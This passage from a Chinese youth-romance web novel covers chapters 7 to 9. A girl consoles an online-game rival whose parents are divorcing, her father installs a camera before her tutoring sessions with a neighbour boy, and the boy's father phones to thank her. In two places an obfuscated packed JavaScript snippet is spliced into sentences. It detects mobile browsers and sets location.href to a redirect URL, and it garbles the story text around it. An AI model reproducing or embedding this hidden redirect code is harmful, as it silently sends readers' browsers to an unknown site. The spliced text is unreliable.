这种垃圾话太垃圾,还不足以让乐落情绪起伏。 “不愧是黑月亮,玩得可真阴!还是老玩家呢,你还真好意思欺负新手!” “草哥,他好像不太想理你。” “知道你长了一张嘴,这话我用得着你说?!”猴子捞月恼羞成怒道。 螃蟹传来呼痛声,紧跟着帮腔:“黑月亮技不如人我草哥肯定接受,但是你游戏那一脚以及刚才的反杀,相当在我草哥的逆鳞上蹦跶,太过分了真是!我草哥绝对是不会放过你的。” “……” 猴子捞月沉默了两秒,听不到回应,直接在游戏里重拳出击。 “嘟~” “嘟~” “嘟~” 短短十分钟,孙悟空以光速倒下数十次,屏幕上方的击杀数来到了“39:0”。 而这一切,全是在林黛玉的一丝血的情况下进行的,也就是说孙悟空全程并未对林黛玉造成半点伤害。 好菜,不是一般的菜。 是菜到抠脚的程度。 “草!” “草草草!” “草草草草草!” 乐落听着不太文雅的口头语,难得没有对口头禅心生反感。 这一声声象征着崩溃,是对她游戏水平的最高认可。 半小时,半小时,一百分钟。 “猴子捞月”全凭一口怨气吊着。 像是掉进了一个无限循环的副本,在死亡和复活中不断重复。 乐落盯着屏幕看得太久,眨了几下有些酸胀的眼,倒有些佩服对方越挫越勇的毅力。 这副打不倒小强的样子,让她忍不住高看对方两眼。 而且随着游戏对局的次数增加,游戏里孙悟空从分不清方向的横冲直撞,进步到走直线冲上来受死。 到如今能掌握出拳时机,好几次险些伤到她。 在某件事上丢了人,这么锲而不舍找回面子,是所有天才的通病。 一次又一次落败,一次又一次站起。 如若不是这段时间日夜颠倒,乐落是绝对坚持不到现在,她眼神下撇,看着电脑右下角的“00:00”时间显示,心里琢磨着不然干脆就投降。 在投降按钮点下前,岂料对方的心理防线先一步崩盘。 7. Chapter 007 敏感期 “黑月亮我今天不把你这条命耗干净,我就不是人!就算你水平高,就算你技术无敌,也不兴这么侮辱人!” “你是不是特别看不起我,觉得我像个小丑,一次次冲上去送死,明明能听见我说话,却装聋作哑,觉得我自言自语很蠢是吗?” 乐落微愣,她只是单纯不想说话,没想到对方当成挑衅。 在她的沉默声里,“猴子捞月”在丰富的想象力中,快要把自己气嗝屁。 “连一个陌生人都可以欺负我?为什么欺负我?为什么都欺负我?” 在崩溃声里,乐落敲击键盘的手指停下来,游戏里林黛玉的连招只放了一半,而孙悟空只剩下最后一丝血条。 生死存亡全在她的一念之差。 语音标识又亮了起来,绿色的起伏线试图测试着崩溃的程度。 “我爸妈要离婚了,我马上要是个单亲小孩了,他们都不相爱了,我这个爱情里的结晶更没人爱了。” “大人们有自己的想法,我知道自己根本无法干涉,他们在一起和分开都没问过我的意见,在归属权上又假惺惺询问我的选择。” “我谁都不想选!!!” 乐落听到了对方的声音里夹杂了哭腔,也知道对方纯粹是发泄情绪。 而这场游戏误打误撞充当了一个出口的作用。 “螃蟹看我心情不好,带我来打游戏,在选择上场英雄时,我选择了从石头里蹦出来的孙悟空,要是可以的话,我宁愿自己是从石头缝里蹦出来的,石头总不会炸开问我要选择哪一块吧?” “我本来觉得这些坏情绪可以在游戏里发泄,没想到林黛玉骑着赤兔拿着九齿钉耙,一下子夯我脑门上给我敲死了!” “草哥我在游戏里从来没被人这么虐过!好不容易加上你好友,开了竞技场敲死我那么多次,搁电脑后面看我发疯很好玩?” “我生日愿望还许的全家永远不分开,结果隔天我爸妈就告诉我要离婚,以前的过年吃不上肉,满大街跑着卖对联鞭炮,再苦再难的日子怎么难都熬过来了,怎么如今经济情况好起来,家反倒是没了?” 十几岁的少年心理承受力到了崩溃的临界点,抱怨声和诉苦声在长时间的沉默里,情绪崩盘。耳机里的哭腔愈发明显。 抽泣声转为号啕大哭,所有堆积的情绪在此刻释放。 游戏里林黛玉和孙悟空面对面站立,画面定格。 只有屏幕上方的时间在变动。 乐落听着耳机里的号啕大哭,哭腔极具感染力,连带着她都咬着下唇,眼眶里蓄满眼泪。 如珠子般从脸颊滑落,砸在膝盖上。 夜深人静里。 两个人隔着屏幕,感受着同样的无能为力。 这一夜彻夜未眠。 凌晨五点。 “猴子捞月”喉咙沙哑,放下一段恶狠狠的话,扬言“只要上线就找她决斗不死不休”,然后投降下线三秒钟便溜得没影。 熬夜加流泪,让乐落的眼底沾满了红血丝,电脑屏幕上是“猴子捞月”的主页,出生地为国外,年龄显示一百二十三岁。 其余信息如出一辙,都是胡编乱写,没有任何参考价值。 她眨了眨酸涩的眼睛,下塌的唇角久违地勾起。 这一夜耳边絮絮叨叨不断的喊打喊杀声,让她重新找回生命的实感。 窗外的阳光透过百叶窗渗进来,她难得有了困意,关掉电脑躺进床上,头刚沾上荞麦枕头就进入了梦乡。 好久没出现梦里的人,再度进入她的梦乡。 她扑进熟悉的怀抱里,诉说着对姥姥的思念,而姥姥摸着她的头,告诉她以后没有姥姥的日子,她最爱的偶像孙悟空会继续保护她。 孙悟空,猴子捞月。 不知是日有所思夜有所梦,亦或是梦境向来天马行空,两个八竿子打不着的人一同出现在她的梦里。 乐落不信玄学,奈何这句话是从姥姥的嘴里说出来的,哪怕是梦里的姥姥。 所以从那时开始,“猴子捞月”对她而言,不再只是一个可有可无的网友。 她对“猴子捞月”有了无可取代的滤镜,而“猴子捞月”这一夜崩溃后冷静下来也有些不好意思,两人口不言说达成相同的默契,一步步从敌对关系发展为最强CP。 早市街尾是李爷爷家的海鲜摊子,鱼鸡虾蟹一应俱全。 李爷爷早年下海捞鱼,风吹日晒,等中年身体实在吃不消就开了这家铺子。 东西新鲜,从不缺斤少两,生意红火了十几年,眼下这个点,东西都卖的差不多。 李爷爷正收拾着残局,他远远看到乐落,特意站在铺子前:“落落吃完早餐了?” 这家早市街好多都是谋生的外地人,李爷爷则是本地人,和姥姥也曾是同学。 听姥姥说两人关系很铁,后来李爷爷辍学才失去联系,等再见面时,两人都已是各有家室的中年人。 学生时代的情谊向来珍贵,重逢后两人时常回忆过去岁月,唠唠当年同学各自的去处,倒像是回到了无忧无虑的少年时代。 自姥姥去世后,乐落不再活泼,总是戴着耳机走得飞快,极少主动与人打招呼。 除李爷爷是例外,她停下脚步,举起手晃着:“李爷爷早上好啊!” 大抵打鱼时日光充足,李爷爷到如今脸仍是黝黑,他眯着眼,整张脸就牙白的突出:“这几天都忙得不行,你什么时候从店门口走过都没注意到,听说你是我们省的状元啊!” 他竖起大拇指:“我打小就看着你长大,早就说过你有大出息,那时你姥姥还不让我夸你,怕我给你造成压力。” 说着无心听者有意。 乐落听到姥姥时,眼神黯淡了下,如果姥姥还在的话,看到她成为省状元,应该会拉着她的手到处炫耀着说“这是我们家状元”。 可惜,姥姥不会再拉她的手,也不会知道姥姥的小骄傲在这个夏天一鸣惊人,名字写在红色横幅上,挂满了全市街道的半空。 李爷爷看出她的失落,懊恼地自责:“你瞧瞧我瞎说什么话,落落,你别放在心上,我就是……” “李爷爷我很高兴,” 乐落打断他的话,怕意思含糊,又补了一句:“您在我面前提我姥姥,我很高兴。” 有人还记得她姥姥,她比任何人都开心。 李爷爷不知所措地挠头。 老人家平时就嘴笨,此刻更是找不到话题来缓解气氛。 他眼神转了一圈,最后停在坐在小板凳带着耳机玩游戏的小孙子身上:“李岩!你看看你落落姐姐都成省状元了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854913|191647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就考那点分还天天抱着手机玩?!” 李岩比乐落小两岁,在姥姥在时,李岩算是她的小跟班。 后来姥姥去世后,她不爱说话,再加上正处青春敏感期,两人的关系不复以往,久而久之,只剩下点面之交。 李岩是家里最小的孩子,说是集万千宠爱于一身也不为过,小时就是附近有名的小胖墩,几乎等比例长大,又高又胖,远看像是一堵墙。 他沉浸在游戏世界,耳机隔绝外界一切声音,李爷爷对着他怒吼好几声,他也没什么反应。 “这臭小子就是个网瘾少年,只要戴上耳机就和那聋子一样,说什么都听不见。” 李爷爷长叹了口气,扭过头,眼不见为净。他看乐落挂在耳朵上的耳机:“落落,你买的什么耳机?” 乐落抬手,下意识抚上耳机。 那些被压制在铁盒罐里的遗憾再次蠢蠢欲动。 她没明白其中意思:“嗯?” “你这个质量看起来不错,戴着也能听到别人说话。” 李爷爷只当是耳机质量问题:“李岩不知道是不是买到次品了,只要戴上那耳机,什么都听不到,我打算给他换个你这样的。” 乐落沉默了两秒。 把耳机摘下来挂在脖子上,她扯出一丝勉强的笑,解释道:“其实都差不多,只要把音量调小一些就能听到了。” 李爷爷半信半疑:“这么说不是耳机的问题?” “对。”乐落点头:“我就是把音量调小了些。” 旁边有顾客问鱼虾的价格,她怕耽误李爷爷的生意,朝着李爷爷挥挥手。 等拐过弯过了早市这条街,她又将脖子上的耳机重新挂到头上,在人行道,找了个小石子当消遣踢着向前。 带着小石子拐了个弯,路过一个小公园,临挨着大路的是小广场,晚上有叔叔阿姨自行组织的广场舞,白天就是放假学生跳绳打羽毛球的地方。 她听见了跑动声连同稚嫩的加油声混在一起,散在空气里全是青春的味道。 她无动于衷,低着头踢着小石子,没理会这些与她无关的热闹。 等走了十几步,一句惊呼声穿透耳机,进入她的耳膜。 “小心!!!” 小石子触碰到脚尖,飞出两米外的距离。 她朝着声源望去,阳光刺眼,眯着的眼眸出现片刻的黑,等眨巴了下眼后,阳光之外一个圆的东西正朝着自己袭来。 与记忆里某些画面重叠,耳朵里传来尖锐的爆鸣声,周围嘈杂的喊叫声变得混沌。 她心脏揪紧,双脚像是被长钉固定在地面上,站在原地失去了动弹的力气,眼睁睁看着东西离自己越来越近。 恐惧让她条件反射闭上眼,手指攥成拳,等待着足以摧毁她的阵痛传来。 并没有。 握紧的手心有一片润湿,她憋着气等红了脸,才轻轻吐出一口气。 安静的空气再度响起声音。 她缓缓睁开眼,迫切想知道发生了什么。 “别怕没事了。” 熟悉的声音在耳边炸开,清冽得像盛夏的冰镇水,略微急促的语调好似开了瓶盖冒着翻腾地气泡。 乐落愣了下,顾不得正跑向自己的女生。 转过头,看向身后。 8. Chapter 008 手拿开 刺眼的阳光暂时剥夺视觉,眩晕感过后,视网膜重新接受世界的讯息。 逆光之下,汀砚倒映在琥珀色的眼眸里。 他比乐落高出一个头。 宽肩窄腰,十六七岁的少年如松,穿着简单的白衣黑裤便足够成为焦点。 额间的碎发随风鼓动,深邃的眼眸微挑着,薄唇微勾,与她对视。 瞳孔好像有万千繁花盛放,鼻尖涌动着橘子皮的酸甜味,身后的太阳仿若一团燃烧的火炬。 隔着单薄的衣服,将后背烧出个无底的黑洞,灼热感一直蔓延至心脏。 乐落不自觉屏住呼吸,视线里只剩下逆着光中某人。 没完没了的高温,乱了套的心跳。 她双颊泛红,在日光下屏住呼吸,有股难言的错乱感席卷全身。 “对不起对不起,是我没注意。” 女生看着也就高中生的模样,扎着高马尾,头发因运动沾着汗。 她弯腰一句句说着道歉的话:“实在是不好意思,没控制好力度,非常抱歉。” 乐落缓过神,看着她摇头:“没关系。” 飞来的只是羽毛球。 是她反应太大了。 一旁,骨节分明的手指拿着羽毛球。 汀砚用食指抵着羽毛球球托内部绕了几个圈,反倒比当事人还介意,话说的随意,意思却明确:“这种随机性强的运动还是尽量离人行道远一些,人来人往的,万一真砸到人,可不是每个人都会说没关系。” “是是是。”女生弯着腰头都没抬,连连点头:“我们一定注意。” 汀砚看乐落没计较的打算,才把羽毛球递过去:“给。” “谢谢。”女生双手接球,这一抬头眼神都直了。 最近用眼过度,她有一百多度的近视,眼科医生说她这是假性近视,只要加以锻炼,还是有恢复的希望,也是听医生建议,趁着早上的时间找了个凉阴处打羽毛球。 方才她并没有清晰看到汀砚的脸,一心只想着道歉。 没想到这一抬头,心也跟着动了起来。 乐落看着眼前的女生,拧眉回想着,刚才转身时,她应该不是这副表情吧。 “羽毛球。”帅气而自知,汀砚没厌恶或欣喜,情绪没有丝毫起伏。 他拿着羽毛球的手在女生面前一挥:“伸手,接球。” “哦哦哦。”女生闹了个大红脸,低头接完球转身就跑。 仿佛身后有鬼追一样,她头都没敢回。 乐落也没话说,再加上方才的失态,她更不想面对汀砚。 抬起脚朝着家的方向,她余光瞥了后面一眼,视线前移,看见自娱自乐踢的小石子,想也没想,用脚踩上去直接掠过去。 汀砚跟在她的身后,也不说话,偶尔唇边溢出忍不住的轻笑声。 一声,又一声。 没完没了。 乐落停下脚步,目光下垂,等白色板鞋落到她右手边的位置,她侧仰着头:“你到底在笑什么?” 汀砚堪堪止住笑:“我还以为小老师天不怕地不怕,没想到会被一个飞过来的羽毛球吓得不能动弹。” 乐落无语。 与幸灾乐祸的人没话讲,抬脚往前走。 汀砚不受影响,跟上来:“小老师,补课的事还得过几天。” 乐落看都没看他:“那你来干什么?” “监工。”汀砚问一答三,坦荡的过分:“我爹把林叔的房子买了下来。” 乐落脚步顿住。 再次仰头看他:“你什么意思?” 她只答应帮汀砚补一个月课,等钱货两清,她并不想看到这尊大佛。 说不上讨厌。 但她本能觉得汀砚是个危险因子过多的存在,她怕误伤,本能的并不想靠他太近。 “和我无关。” 汀砚二话不说把责任推给不在场的汀建宏:“我爹买的。” 他摊手:“你也别误会,买房子这件事和你做我家教是两回事,单纯是我爹觉得你是省状元,在你的光环下,对门林叔叔家自然就成了风水宝地,买下来就图个吉利,况且林叔在国外定居,一时半会没有回来的打算,算是两全其美。” 乐落忍着吐槽的冲动。她既不是卖家,也不是买家,没合适的立场对这场交易表达自己的不满。 “哦。” 她启唇发出一个音节,抬脚,便不再搭理他。 汀砚再怎么迟钝,也只能接受自己是个不受待见的学生,怕是说的越多越不受待见。 他闭上嘴不再做招人烦的举动,刻意慢了几个步调,晃悠悠踩着前面的影子。 溪风苑是二十年前建成的小区,见证嘉港省飞一般的发展。 吹风日晒,墙皮脱落,与周遭高楼大厦对比鲜明。 小区内配套设施不健全,平时修水修电都要等上一段时间,住在这里除了租房的打工族,就是上了年纪的老住民。 也多亏只有五楼,即便没有电梯,住在最高层也能用锻炼身体安慰自己。 汀砚跟着乐落上了二楼,正犹豫要不要确定一下补课是在他家或是乐落家时,就听见“叮”一声,门从里面被打开。 穿着蓝色马甲的中年男人,斜挂着一个黑色单肩包,手上的白色手套沾了点黑色墨迹。 正想用指纹解锁的乐落,站定原地。 与他面面相觑:“你是?” 汀砚确定乐落不认识这陌生男人后,伸手拉过乐落的手腕,将人拉到自己身后。 他面露冷色,盯着中年男人,声音里警戒意味严重:“你是谁?” “安监控的。”中年男人回过神,他没想到自己行走江湖三四十年,竟被一个毛头小子的眼神吓得魂都掉了三分。 “麻烦师傅了。”文质彬彬的男人从房间的阴暗处走来,他向中年男人道谢,推了推鼻梁上的金丝镜框:“是我叫来的。” 蓝色马甲的中年男人冲他摆摆手,没多解释下楼离开。 乐落正想向前。 汀砚警觉心还没下线,手腕用力,将乐落重新扯回到身后。 冷着声音,他强硬地这套房产证好像写的是他的名字:“你又是谁?” 不等男人开口,乐落的声音从身后传过来:“我爸。” 哦,她爸,是她爸! 汀砚三秒换上笑脸:“乐叔叔您好,第一次见,我是汀砚。” 打招呼加自我介绍,一气呵成。 乐晋昀年过半百,头发浓密且乌黑,身上一身书生卷气,丝毫不沾中年的油腻感。 他穿着合身的西装,笑容不达眼底,视线死死盯着抓着宝贝女儿手腕的手,语气不善:“手先拿开。” 鲜少有人能给汀砚压力,可乐晋昀的气场不比他爹弱,几个字压得他失去思考的能力。 反倒是乐落挣开他的手,快步走向乐晋昀。 她脸上的表情也生动许多,甜甜地喊人:“爸爸,您怎么突然来了?” 乐晋昀脸上的冰霜一瞬化开,萦绕在身上的凌厉感尽数消退。 他伸手亲昵揉了揉乐落柔顺的发顶:“太想你了,没给你打招呼就过来了,吓到了吗?” “又惊又喜,”乐落再不是那副不爱搭理人的寡淡样,笑得生动:“当然喜更多一些。” 父女两旁若无人的互动,好似忘记身旁还是第三人存在。 汀砚犹如透明人,右手掌心还残存着温度。 他手指蜷缩,下意识抓了抓,只抓住了两团轻飘飘的空气。 北深市的工作还没处理完。 乐晋昀这一趟是东拼西凑才挤出来的时间,他伸手揽着乐落的肩膀,适时说着破坏气氛的话:“落落,爸爸那边工作还没结束,待不了多长时间就得去赶飞机。” 乐落上扬的嘴角回落,向下弯着,坏情绪只持续了三五秒。 她就调整好表情:“嗯。” 她从小就知道父母工作忙,乐晋昀不擅长酒桌生意,有自己的原则底线,只做认为对的事,天生善人,甚至无偿帮穷困的人打官司。 偏偏公道二字在底层格外难讨,劳心费力忙起来十天半月不见人影。 她难过乐晋昀不在自己身边,但也为乐晋昀能做自己想做的事而开心。姥姥告诉她,每个人都有自己的梦想,人生如同辽阔的旷野,执笔写故事的人从来只是自己。 乐晋昀把她当作独立的人看待,从未干涉过她的选择。 所以她也不能自私把做乐晋昀绑在身边,成为乐晋昀的绊脚石。 “汀同学,”乐晋昀的视线落在汀砚身上:“刚开始林哥给我说有个准高三生想找我家落落补习,我听是汀燕以为是燕子的燕,以为是个小女生,再加上当时工作忙,也没多问,没想到闹出个这么大乌龙。” 汀砚一听头皮发紧,刚搞定小老师,现在又来了小老师的爸爸。 对方是长辈,他只能顺着对方的意思:“都是来学习的,男生和女生应该也没差。” “差别大了,女学生我放心。”乐晋昀的话说的很直接。 乐落拉他的衣角:“爸爸,我已经答应汀同学了。” 她连定金都收了,就算是乐晋昀不同意,这时候她也不好意思出尔反尔。 乐晋昀叹了口气,无奈道:“这件事说到底应该是落落做主,既然现在落落已经同意当你家教了,我也不好多说什么。” 汀砚松了口气:“谢谢叔叔。” “先进来。” 乐晋昀让出一条路,等汀砚迷茫的跟着进客厅时,他指着电视柜顶部多出来的摄像头:“补课全程在这里进行,书房是落落的地盘,摄像头安在书房不合适,就只能安在客厅,你们把餐桌当做课桌就行。” 摆在明面上的防备。 并没有让汀砚不爽,他尊重并理解乐晋昀,孤男寡女共处一室,况且他还只是个邻居家的远亲。 为了让乐晋昀安心,他保证道:“乐叔叔,您放心,我保证不会发生任何不应该发生的事。” 乐晋昀上下扫了他一眼,挑眉:“你用什么保证?” 人品太虚浮。 汀砚思索了会,视线短暂落在乐落身上,又迎上乐晋昀审视的目光:“乐叔叔,我已经有喜欢的人。” 乐落盯着他看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854914|191647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诧异浮现在眼底。 她有种说不清道不明的不舒服,但她只觉得是错觉,并没有深究。 乐晋昀逻辑缜密:“你说这句话有什么用?在你这个年纪,有喜欢的人是件很难的事吗?” 汀砚难得有长了张嘴,但什么都说不出的憋屈感。 他不知该用什么反驳,只得换了个话题:“我是正人君子。” 不愧是父女。 女儿和父亲都把他当做流氓无赖防备,甚至恨不得写在脸上,生怕他不知道自己被归为什么标签里。 只是在乐晋昀这里,这六个字同样干瘪瘪,没什么实际的含金量。 他笑意不达眼底:“你是不是正人君子还有待考量,监控我也安了,还希望汀同学守好道德的底线,我是不是还没自我介绍过?” 汀砚缄默,等着他说话。 汀建宏不管对方是不是平A,毫无保留,重磅级的话一句接着一句:“我是律师,入行的胜率高达百分之八十。” “……”乐落差点笑出声。 汀砚勉强的笑都勾不出来:“乐叔叔,那您还挺厉害。” 乐晋昀单纯只是想起到威慑作用,并没有真想让汀砚下不了台的意思。 眼看着汀砚的笑容挂不住,他切换到好人模式,话也不再刺耳:“汀同学,还请你体谅一个做父亲的心,我当然是相信你的人品。” 他停顿了一下:“我毕竟为人父,总是容易想东想西,而且这些天工作也忙,想家不能回。平时我想落落随时就可以打视频或者电话,但是落落要给你补一个月课,我这电话一打就怕影响你学习,思来想去,觉得装个监控一切难题都迎刃而解。” 汀砚挤出一个笑,配合着他点头,连声道:“是是是,还是您想的周全。” 乐晋昀偏偏还要让他亲口说出来:“汀同学,应该不会介意吧。” “当然!”汀砚想也不想便答:“还得谢谢乐叔叔为我着想。” 乐晋昀对他的上道很满意:“应该的,在安监控的人打开门,我看见你把落落拉到身后,我就知道你这个人很可靠。” 打一棒子给一颗甜枣这种事,是他擅长的领域。 他又摸了摸乐落的头:“我替落落为你能保护她的行为向你说声谢谢。” 汀砚说出的话只剩下场面话:“应该的乐叔叔。” “那行,到底是你们之间的事,我也不好干涉太多。” 乐晋昀用一句话开棺定论,他扭头面向乐落,微弯着腰:“落落,爸爸差不多是时候要赶飞机了,有什么事随时给我打电话,知道吗?” 乐落忍着不舍:“每次都说,我听得耳朵都起茧子了。” “好好好,落落长大了,嫌爸爸啰嗦了。”乐晋昀笑得眼角挤出几道皱纹:“下次我保证不说了。” 乐落打趣道:“上次您也这么说。” 父女两说话,汀砚插不上嘴,眼神往客厅一扫,看见沙发上多出来的黑色公文包。 快走几步,弯腰,他拿起来递给乐晋昀:“乐叔叔一路顺风。” “你倒是很有眼力劲。”乐晋昀接到手上:“监控器也算没白给你装。” 是是是,都是为了我装的。 汀砚笑得很官方:“真是不知道该怎么感谢您。” “别感谢我就是对我最大的感谢。”乐晋昀对他的每句话里都有潜台词,他拉开门,朝着两人摆手:“外面热,不用送了。” 乐落也讨厌离别的场合,停在门口:“那您下了飞机给我说一声。” 乐晋昀应了声“好”,就匆忙转身,再不离开,他真的舍不得走了。 呼气,吸气,呼气,吸气。 重复几个深呼吸,乐落压下眼底的泪意,旁边还站了个人,她哭出来可就太怂了。 她看汀砚站着没有离开的意思,只得道:“你还有事吗?” “有。”汀砚眉梢微挑:“我,我爸说什么也要打电话亲自感谢你。” 他原本想按照习惯喊“爹”,只是想起方才乐落称呼乐晋昀为“爸爸”,显得他平时叫的“爹”格外粗鲁,刻意改了个称呼。 乐落想起电话里粗犷的男声,直摇头:“不用。” 汀砚不劝,只给建议:“你可能不了解我爹,我爸这个人说一不二,只要他想做的事,任何人都拦不住。” 他话一快,爹字又顺口冒出来了。 他放弃对称呼的挣扎,直截了当将她拒绝后会发生事如实告知:“他本来就要亲自上门感谢,是我劝住说打电话也是一样,如果你要是拒绝的话,他极有可能认为你嫌诚意不够,到时候我肯定拦不住他。” 乐落哑口无言。 “或许帮我补习对你而言只是件小事,可对我爹而言,” 汀砚把原因娓娓道来:“省状元帮儿子补习,不仅暂时拖延了我妈踹开他的时间,往深了说,只要我下年高考取得好成绩,他就获得了重新与我妈谈判的条件,你对他来说是大恩人。” 他从兜里拿出手机,把选择的权利交给她。 “当然,这通电话打不打你做决定。” 这句话,如恶魔低语。 9. Chapter 009 汀建宏确实存了要报答乐落的心。 原本他是要抽时间去亲自登门拜访,结果汀砚告诉他小老师性格内向,而他嗓门大声音粗,气质更是凶神恶煞,不了解的人还以为是□□老大。 他以前不长这样,只是这些年奔波劳累,一门心思想着如何赚钱给家人更好的生活,皮肤晒得黝黑,再加上年纪上来,他应酬也多,长出来的肉全堆在脸上和腰上,身肥体壮,配上他这几年的老板脾气,路上想扶老人过马路,老奶奶看见他靠近都得吓得健步如飞。 毕竟汀砚有他一半的基因,儿子长那么帅,老子自然差不了。 他年轻时也可以说颇有姿色,不然汀砚他妈这样的颜控,怎么愿意死心塌地跟着还一无所有的他。 只能说岁月是把杀猪刀,虽然他不承认自己是头猪,但颜值下降程度和杀了年轻的他没什么差别了。 “我和我的祖国,一刻也不能分割,无论我走到……” 豪迈的来电铃声响起,打破卧室里的浓情蜜意。 汀建宏气咧咧骂了两句,怀抱着长法波浪卷的女人,伸手去摸床头柜上的手机,到底怀中有美人,他怕吵到人,粗犷的声调降低大半:“我看看是哪个龟孙子,这么没眼色头,敢打扰我们的好事。” 女人轻瞥他一眼,没说话,脾气不好地哼了一声。 汀建宏拿起手机,看到屏幕上的备注,脸上的怒意凭空散了一大半。 对着女人比了个噤声的手势,他解释道:“不是龟孙子,是儿子。” 女人这才没了不耐烦的神情,凑过来,将脑袋贴在他的胸前,用手指了指手机。 汀建宏上道地把手机开了扩音键:“喂,儿子啊!见到小状元了吗?她怎么说?是想让我打电话,还是亲自去?” 汀砚把手机拿的离耳朵远一些,不自觉响起乐晋昀的斯文样,一对比愈发印证汀建宏是个土老板的事实。 他轻咳一声,改变了称呼:“爸……”再怎么有心理准备,像乐落那样自然喊出叠字“爸爸”,对他来说,还是难度太高了。 “嗯?”汀建宏比他还难以接受:“什么爸?我是你爹。” 爸像是同龄人的叫法,而爹显然更像老一辈的叫法,尤其配上汀建宏粗犷的嗓门。 眼前犹如情景剧,乐落毫不避免被逗笑,用浑身的力气硬憋着,才没笑出声。 “……”汀砚努力改口的样子像极了一场笑话。 他在乐落的闷笑中沉默数秒,才找回自己的声音:“小老师说不麻烦你特意过来一趟了,你有什么话就在电话里说吧。” 汀建宏声音里夹杂着急切:“行,把手机给小状元吧。” 他原本是半躺在床上,一听要和省状元说话,把头伸向一旁,清了清嗓子,就连坐姿都端正自己,背部挺直。 拘谨得像上课被提问的小学生。 手机的另一边,乐落接过汀砚递来的手机,拿在手里犹如一个烫手山芋。 她向来就不擅长和长辈打交道,认识的长辈中,更不存在汀建宏这个类型。 她喉咙紧了紧,细白的手指握着手机的力气加大两分,生怕被对面的声音吓得一哆嗦,再把手机掉到地上。 半晌没听到对面的声音,她才尝试性地开口道:“汀叔叔?” “哎~”一个字千转百回,硬生生让彪形大汉撕下外衣变成奶油小生。 汀砚差点吓得一哆嗦,在乐落看过来的眼神中,耸肩摊手。 他是从来没听过他爹用这个腔调说话。 实话说,大老爷们声音夹起来,甜的发腻,略有些让人心理不适了。 “小状元?” 汀建宏不知道他家好儿子全程开的外放,更看不到这两人面面相觑的画面,没听到话筒里传来声音:“能不能听到我说话?” “您说。”乐落回道。 汀建宏不愧是大老板,尽管没读多少书,口才在线:“首先谢谢你答应给我儿子补课,您可能不知道这对我们老汀家来说有多深的意义,从老爹那辈就意识到学习是个很重要的事,可我老爹那个年代,家里穷的揭不开锅,吃饭都是问题,改变命运的前提是得先活下去。” 他哀叹一句:“到我这一辈,虽然我爹天天念叨着砸锅卖铁都要供我读书,但那时候我年轻,一心想着怎么才能出人头地,再加上同龄人都是初中毕业就外出打工,我压根没意识到读书的重要性,把我爹气的半条命都没了,还是在高二那年辍学了。” “那时候不知道天高地厚,等踏入社会发现社会的残酷性,但还是死犟,我爹天天念叨想让我迷途知返,没想到起到了反效果,为了证明我的选择没有错,我更是打算一条路走到黑,这些年受苦受罪都不说了,关键是事业终于有点眉目了,还是被人看不起。” 他声音了夹杂着苦涩,声调也跟着低了不少:“我知道我离企业家还差得远,但也算积德行善,村里的柏油路是我修的,家门口的路灯也是我花钱安的,村里那些留守的孤寡老人每个月我都送米送油,结果他们表面上夸我有出息,让我帮忙安排个工作,可背地里喊我是暴发户,说我再怎么有钱也是一破土老板。” 乐落往上数三代,长辈们都是走了读书这条路,从小活在别人的尊重里,她却也能理解汀建宏的酸楚。 这世界上有很多类型的成功,有过读书这条独木桥,在万人中杀出血路,有混迹在官场,以八面玲珑心手握权利,也有摸爬滚打,凭着独有的慧眼,站在时代的风口一鸣惊人。 或许是古时候遗留下重农轻商的观念,再加上现代坑蒙拐骗的现状,无奸不商成为了生意人的标签,没人在乎你吃了多少苦,只要是靠经商起家,即使做慈善做贡献,也不乏红眼病以此嘲讽。 汀建宏的声音还在继续:“我爹看见我就教训我,说我以前不听他的话,不然也不会出钱出力还落不得好名声。想我汀家往上数八代,也是出过一个状元的,只不过朝代更改,后代没落了,到了我爹这里更是穷的叮当响。” “我们村头那二大爷,家里就出了一个什么贰壹壹大学,整天头仰着见不到脸,逢人就说他家的基因好,命里带学习好的基因,还说我就算再有钱又怎样,这年头只有读书才能改变命运,甚至说我家是什么沙漠……” 汀砚倒无所谓,悠哉哉开腔补充:“文化沙漠。” “对对对,文化沙漠,这一杆子把我家后代都打死了,我偏要让他看看沙漠里不止有沙子,还有奇迹,而这奇迹在我儿子这一代就要发生。” 汀建宏的情绪从低落转为亢奋:“这不我们全家就指望这小子光宗耀祖,好给我老汀家长脸,只要我儿子考上好大学,看以后谁敢在背后说我老汀家都是肚子里没墨水的大粗人!” 汀砚挑眉,一句话噎死人:“爹,不是您说别人的看法不重要。” “你还小不懂,唾沫星子淹死人,大家都这么认为,那这件事就成了事实。” 汀建宏三两句话,又把话题拉回到感谢:“小状元你这可是我们家的大恩人,只要下一年这臭小子也考上贰壹壹大学,你就是想让太阳从西边出来,我都想办法把这事办成了。” 汀砚这辈子都没听汀建宏对自己这么说过这么纵容的话,悠悠的啧了一声。 乐落没理他,赶忙说:“您言重了。” 汀建宏考虑周全:“不过小状元你也不要有压力,但凡要是没考上,也怪我家臭小子没用功,您愿意教他已经是我老汀家祖坟冒青烟了。” 他爽朗一笑:“我也是没想到,这辈子还能认识省状元,要是我家出一个这样的人才,族谱上肯定在第一页单开一页。” 乐落放轻呼吸,只觉得脸颊发烫。 她不是没听过夸奖,相反,她是在夸奖声中长大。可至今为止,别人的夸奖大多浮于表面,汀建宏是听起来最真挚的那位。 